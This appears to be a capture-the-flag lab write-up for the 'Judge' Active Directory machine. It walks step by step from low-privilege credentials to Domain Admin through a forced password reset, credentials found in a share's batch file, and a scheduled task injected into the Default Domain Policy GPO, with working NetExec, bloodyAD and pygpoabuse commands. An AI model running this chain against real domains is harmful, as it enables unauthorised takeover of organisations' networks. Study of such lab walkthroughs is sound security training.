Ronin66-Judge

Judge - Complete Penetration Testing Walkthrough

Introduction

This is a complete walkthrough and writeup for the Judge machine from the Ronin66 lab. Judge is an Assumed Breach engagement — we start with a set of low-privilege domain credentials and a single DC running Windows Server 2019. The goal is to work through the ACL chain that BloodHound exposes, abuse a GPO we can write to, and land Domain Admin.

Tools Used: NetExec, BloodHound, bloodyAD, smbclient, strings, pygpoabuse, Evil-WinRM

Difficulty: Easy / Medium

Key Techniques: BloodHound enumeration, ForceChangePassword abuse, SMB share credential hunting, GPO abuse (GenericWrite / WriteDacl / WriteOwner → scheduled task), Domain Admin via gpupdate /force

Starting Credentials: d.taylor (low-privilege domain user)

Environment:

  • Domain: judge.local
  • DC: DC01 — Windows 10 / Server 2019 Build 17763 x64
  • DC IP: 172.16.18.13

BloodHound Enumeration

Collecting with NetExec

We begin with BloodHound collection straight over LDAP using our starting credentials — no need to drop a collector binary on the box:

1
netexec ldap 172.16.18.13 -u 'd.taylor' -p '<REDACTED>' --bloodhound --dns-server 172.16.18.13 -c All --dns-tcp

We load the resulting zip into BloodHound and start tracing attack paths from d.taylor.


ACL Abuse — ForceChangePassword on s.wilson

Finding the Edge

BloodHound shows that d.taylor holds ForceChangePassword over s.wilson. That edge lets us reset the account’s password without knowing the current one.

Resetting the Password

We use bloodyAD to set a new password for s.wilson:

1
bloodyAD --host "172.16.18.13" -d "judge.local" -u "d.taylor" -p '<REDACTED>' set password "s.wilson" "<REDACTED>"

force-change-pass

We now control s.wilson.


SMB Enumeration — SCRIPTS Share

Checking Share Access

With s.wilson‘s new credentials we enumerate available shares:

1
netexec smb 172.16.18.13 -u 's.wilson' -p '<REDACTED>' --shares

script-share-access

s.wilson has read access to the SCRIPTS share — a classic AD artefact that often hides credentials.

Pulling the Share Contents

We connect to the share and grab everything inside:

1
2
smbclient //172.16.18.13/script -U 'judge.local\s.wilson%<REDACTED>'
get mount.bat

A file called mount.bat catches our eye. We carve strings out of it:

1
strings mount.bat

strings

The batch file contains a hardcoded credential for the user e.brown.


ACL Abuse — GPO Takeover via e.brown

BloodHound — Permissions Over Default Domain Policy

Back in BloodHound we check what e.brown can do. The account holds three powerful edges over the Default Domain Policy GPO ({31B2F340-016D-11D2-945F-00C04FB984F9}):

  • GenericWrite
  • WriteDacl
  • WriteOwner

perms-over-default-dom-policy

That combination is effectively full control — we can take ownership, rewrite the DACL, and modify the GPO itself. Since the Default Domain Policy applies to every computer in the domain, any code we inject runs everywhere on the next GPO refresh.

Taking Ownership

First we set the owner of the GPO to e.brown so we can freely modify its DACL:

1
2
3
bloodyAD --host "172.16.18.13" -d "judge.local" -u "e.brown" -p '<REDACTED>' \
set owner 'CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=JUDGE,DC=LOCAL' \
'e.brown'

Granting GenericAll

With ownership established we grant ourselves GenericAll on the GPO object, removing any remaining permission barriers:

1
2
3
bloodyAD --host "172.16.18.13" -d "judge.local" -u "e.brown" -p '<REDACTED>' \
add genericAll 'CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=JUDGE,DC=LOCAL' \
'e.brown'

Injecting a Scheduled Task via pygpoabuse

Now we write a scheduled task into the GPO that adds e.brown to Domain Admins on the next policy refresh. We use the -f flag to append to the existing ScheduledTasks.xml rather than overwrite it — overwriting would break the existing policy and create noise:

1
2
3
4
5
6
7
8
python3 pygpoabuse.py judge.local/'e.brown':'<REDACTED>' \
-gpo-id 31B2F340-016D-11D2-945F-00C04FB984F9 \
-taskname SecurityUpdate \
-dc-ip 172.16.18.13 \
-command 'net group "Domain Admins" e.brown /add /domain' \
-filter-enabled \
-target-dns-name dc01.judge.local \
-f

Triggering the GPO — Domain Admin

Forcing a Policy Update

We open a WinRM session as e.brown and force an immediate GPO refresh:

1
evil-winrm -i dc01.judge.local -u 'e.brown' -p '<REDACTED>'
1
gpupdate /force

We close the session and reconnect. On the second login the scheduled task has already fired and e.brown is a Domain Admin.

dom-admin

The DC is ours.


Conclusion

Judge was a clean ACL-chain box that rewarded reading the BloodHound output carefully and following the privilege edges in order:

  1. ForceChangePasswordd.taylors.wilson, no brute force needed
  2. SCRIPTS sharemount.bat handed us e.brown‘s credential in plaintext
  3. GPO abuseWriteOwner + WriteDacl + GenericWrite over the Default Domain Policy is full domain compromise waiting to happen; pygpoabuse made it a one-liner
  4. gpupdate /force — instant task execution, no waiting for the 90-minute refresh cycle

The lesson: ACL edges on GPOs — especially the Default Domain Policy — are some of the most dangerous misconfigurations in Active Directory. A single account with WriteOwner there can own the entire domain in under five minutes.

Tools Used

  • NetExec
  • BloodHound
  • bloodyAD
  • smbclient
  • strings
  • pygpoabuse
  • Evil-WinRM